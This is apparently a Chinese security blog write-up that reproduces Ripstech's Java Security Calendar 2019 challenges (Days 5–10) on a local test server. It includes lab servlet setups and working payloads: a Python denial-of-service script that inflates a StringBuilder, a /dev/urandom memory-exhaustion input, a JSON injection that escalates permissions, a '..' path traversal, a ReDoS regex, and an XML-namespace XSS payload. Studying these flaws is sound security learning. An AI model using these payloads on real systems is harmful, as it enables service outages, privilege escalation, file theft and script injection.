Ripstech Java Security 2019 Calendar复现系列(二)
2020-02-06 10:15:48 Author: xz.aliyun.com(查看原文) 阅读量:303 收藏

代码

Day 5
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

代码的第6行实例化了StringBuilder对象,并将攻击者可控的参数值附加到其中。java.util.StringBuilder的内部原因,可能会导致拒绝服务问题。默认情况下,StringBuilder对象使用大小为16的数组进行初始化,StringBuilder实例会检查数据是否适合该数组。如果不是,则数组的大小会加倍。在这种情况下,会有很大的方法,这可能导致java堆内存不足,从而导致拒绝服务攻击。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 添加主函数

Day5.java

package com.ananaskr.day5;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Day5 extends HttpServlet {
    public void init() throws ServletException {
    }

    public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
        Request request = new Request();
        request.toString(req);
    }

    public void destroy(){

    }

}

3. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>Request</servlet-name>
    <servlet-class>com.ananaskr.day5.Day5</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>Request</servlet-name>
    <url-pattern>/day5</url-pattern>
  </servlet-mapping>
</web-app>

4. 构造payload

在分析漏洞点的情况下,可以选择使用比较大的delim参数,以及构造数量足够多的其他参数。
默认情况下,Apache Tomcat的POST请求限制为2MB,最大参数为10000.如果结合数组和大量(例如10000)HTTP参数提交非常大的参数delim(例如1.8M)值,那么考虑到StringBuilder内部,我们的最大放大倍数约为20000。
在这里编写了一个脚本用于测试

import requests

url = "http://localhost:8080/Day5_war_exploded/day5"
delim = ""
A=[]
data="delim="+delim

for i in range(1,30000):
    delim = delim+'------------------------------------------------'

for i in range(1,300):
    A.append("test_the_DoS")
    data=data+"&A{index}=".format(index=i)+A[i-1]

header={'content-type':"application/x-www-form-urlencoded"}
res=requests.post(url=url,data=data,headers=header)
print(res)

5. 结果

在设置了300个POST参数后,delim的值为1.4M,就会出现堆内存空间不足。如图所示:

代码

Day 6
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

代码中的第9行从参数url接收不受信任的用户输入。然后给定的值创建一个java.nio.file.Path实例,该文件的内容由方法java.nio.file.Files.readAllBytes()读取。那么所考虑的就是发送一个可以一直读的文件路径,从而消耗Java堆内存。当文件路径名为"/dev/urandom"值时,在Java堆内存不足之前,Files.readAllBytes()方法不会终止。这将导致无限的文件读取,并最终导致IOException处理程序无法捕获的内存耗尽。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>Request</servlet-name>
    <servlet-class>com.ananaskr.day6.ReadFile</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Request</servlet-name>
    <url-pattern>/day6</url-pattern>
  </servlet-mapping>
</web-app>

3. 构造payload

将请求的参数url=/dev/urandom即可使其堆空间消耗完毕,从而拒绝服务。

4. 结果

代码

Day 7
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

在ApiCache类的storeJson方法中,post请求中的username值是攻击者可控的。此函数的作用是获取username的值,作为username域的值,其中赋予的权限permission为"none"。然而,由于未对用户传入的参数username进行过滤,导致可以写入任意的域-值对。从而进行权限提升。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 补全代码

  • 添加异常处理,并将Get请求补全,便于验证。Get请求原来的意思表示的是取json中的前两项作为结果。
    ApiCahche.java
public static void loadJson() throws IOException {
        // Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
        JsonFactory jsonobject = new JsonFactory();
        JsonParser parser = jsonobject.createParser(new File("/tmp/getUserInformation.json"));
        parser.nextToken();
        parser.nextToken();
        String field1 = parser.getValueAsString();
        parser.nextToken();
        String username = parser.getValueAsString();
        parser.nextToken();
        String field2 = parser.getValueAsString();
        parser.nextToken();
        String permission = parser.getValueAsString();
        System.out.println(field1+": "+username);
        System.out.println(field2+": "+permission);
    }

3. 配置web.xml

web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>day7</servlet-name>
    <servlet-class>com.ananaskr.day7.ApiCache</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day7</servlet-name>
    <url-pattern>/day7</url-pattern>
  </servlet-mapping>
</web-app>

4. 构造payload

正常情况下,请求发送正常的username值,"/tmp/getUSerInformation.json"的内容如下:

/tmp/getUserInfomation.json:
{
  "username":"xxx",
  "permission":"none"
}

当攻击者发送username=xxx","permission":"all,"/tmp/getUSerInformation.json"的内容如下:

/tmp/getUserInfomation.json:
{
  "username":"xxx",
  "permission":"all",
  "permission":"none"
}

由于在Get请求中,对json处理时,只读取了username域以及一个permission的值"all",导致权限提升。
在发送请求时,将username参数值进行url编码后,发送出去。

5. 结果

可以看出get请求,得出来的权限确实提升为all了。

代码

Day 8
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

这段代码的主要功能是可下载读取"/var/myapp/data/"目录下的文件。其中getName()函数对输入内容进行了一个简单的过滤以防止目录遍历。然而,getName()只能进行简单的过滤,比如对../进行过滤。但是对于仅..的情况,却未进行任何过滤。因此,导致可以下载到上级目录下的所有文件。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 补全代码

  • 添加打印能够获取的文件的路径,便于验证
    GetPath.java
// Download file...
            PrintWriter out = response.getWriter();
            out.println("The File is: "+toDir+filename);
  • 然后将doGet方法改为doPost方法。

3. 配置web.xml

web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>Day8</servlet-name>
    <servlet-class>com.ananaskr.day8.GetPath</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Day8</servlet-name>
    <url-pattern>/day8</url-pattern>
  </servlet-mapping>
</web-app>

4. 构造payload

icons=..&filename=hacked.txt

5. 结果

从结果可看,是可以到上一级目录的

代码

Day 9
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

代码中的whitelist参数是正则表达式模式的部分。value参数值在第22行被验证是否符合whitelist组成的模式。由于whitelist和value的值都是由攻击者控制的,攻击者可以注入任意正则表达式并控制该表达式的值与之相配。使用复杂的正则表达式产生CPU消耗,从而导致DoS。这种DoS的方式被称为ReDoS。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp
  • Java8

2. 配置web.xml

web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>day9</servlet-name>
    <servlet-class>com.ananaskr.day9.Validator</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day9</servlet-name>
    <url-pattern>/day9</url-pattern>
  </servlet-mapping>
</web-app>

3. 修正代码

  • 将连接whitelist作为pattern的"["和"]"分别改为"("和")"。在前面的测试中,发现"["和"]",并不能导致拒绝服务攻击。将其改成"("和")"即可导致拒绝服务。
  • 在isInWhiteList()函数前后增加代码以便进行计时。

修改后的代码如下所示
Validator.java

package com.ananaskr.day9;

import java.util.regex.*;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.*;

public class Validator extends HttpServlet {
    protected void doPost(HttpServletRequest request,
                          HttpServletResponse response) throws IOException {
        response.setContentType("text/plain");
        response.setCharacterEncoding("UTF-8");
        PrintWriter out = response.getWriter();
        long startTime = System.currentTimeMillis();
        if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
            out.print("Value is in whitelist.");
            System.out.println("This takes " + (System.currentTimeMillis() -
                    startTime));
        } else {
            out.print("Value is not in whitelist.");
            System.out.println("This takes " + (System.currentTimeMillis() -
                    startTime));
        }
        out.flush();
    }

    public static boolean isInWhiteList(String whitelist, String value) {
        Pattern pattern = Pattern.compile("^(" + whitelist + ")+");
        Matcher matcher = pattern.matcher(value);
        System.out.println("The length of the value is: "+ value.length());
        return matcher.matches();
    }
}

4. 构造payload

构造复杂的正则表达式,以达到消耗CPU的目的。payload为

whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

在发送payload需要对+进行编码,否则会被当成空格。

5. 结果

通过下图可以看出,当a的数量按比例增长时,其消耗的时间成指数增长,易受到ReDoS攻击。

代码

Day 10
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

这段代码中,用户输入通过@RequestParam注解从GET或POST参数"name"到达函数中的name参数。且第三行响应的"Content-Type"被设置为"text/xml"。输入流是攻击者可控的,则他可以注入具有xml名称空间属性"http://www.w3.org/1999/xhtml"的script标签,从而执行XSS。

复现过程

1. 环境

  • IDEA+springmvc
  • 导入servlet的jar包

2. 配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>encodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <init-param>
            <param-name>forceEncoding</param-name>
            <param-value>true</param-value>
        </init-param>
    </filter>
    <filter-mapping>
        <filter-name>encodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

3. 配置dispatcher-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <context:component-scan base-package="com.ananaskr.day10"/>

    <context:annotation-config/>
    <mvc:default-servlet-handler/>
    <mvc:annotation-driven/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix">
            <value>/WEB-INF/</value>
        </property>
        <property name="suffix">
            <value>.jsp</value>
        </property>
    </bean>
</beans>

4. 配置applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="day10" class="com.ananaskr.day10.day10">
    </bean>

</beans>

5. 构造payload

CDATA指的是不应由XML解析器进行解析的文本数据,因此需要将其闭合以避免注入的JS代码变成文本。然后注入带有命名空间属性"http://www.w3.org/1999/xhtml"的script标签,将script标签定义为具有html属性的script标签。因此可以被浏览器当作JavaScript代码执行。payload如下:

name=test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[

6. 结果


文章来源: http://xz.aliyun.com/t/7162
如有侵权请联系:admin#unsafe.sh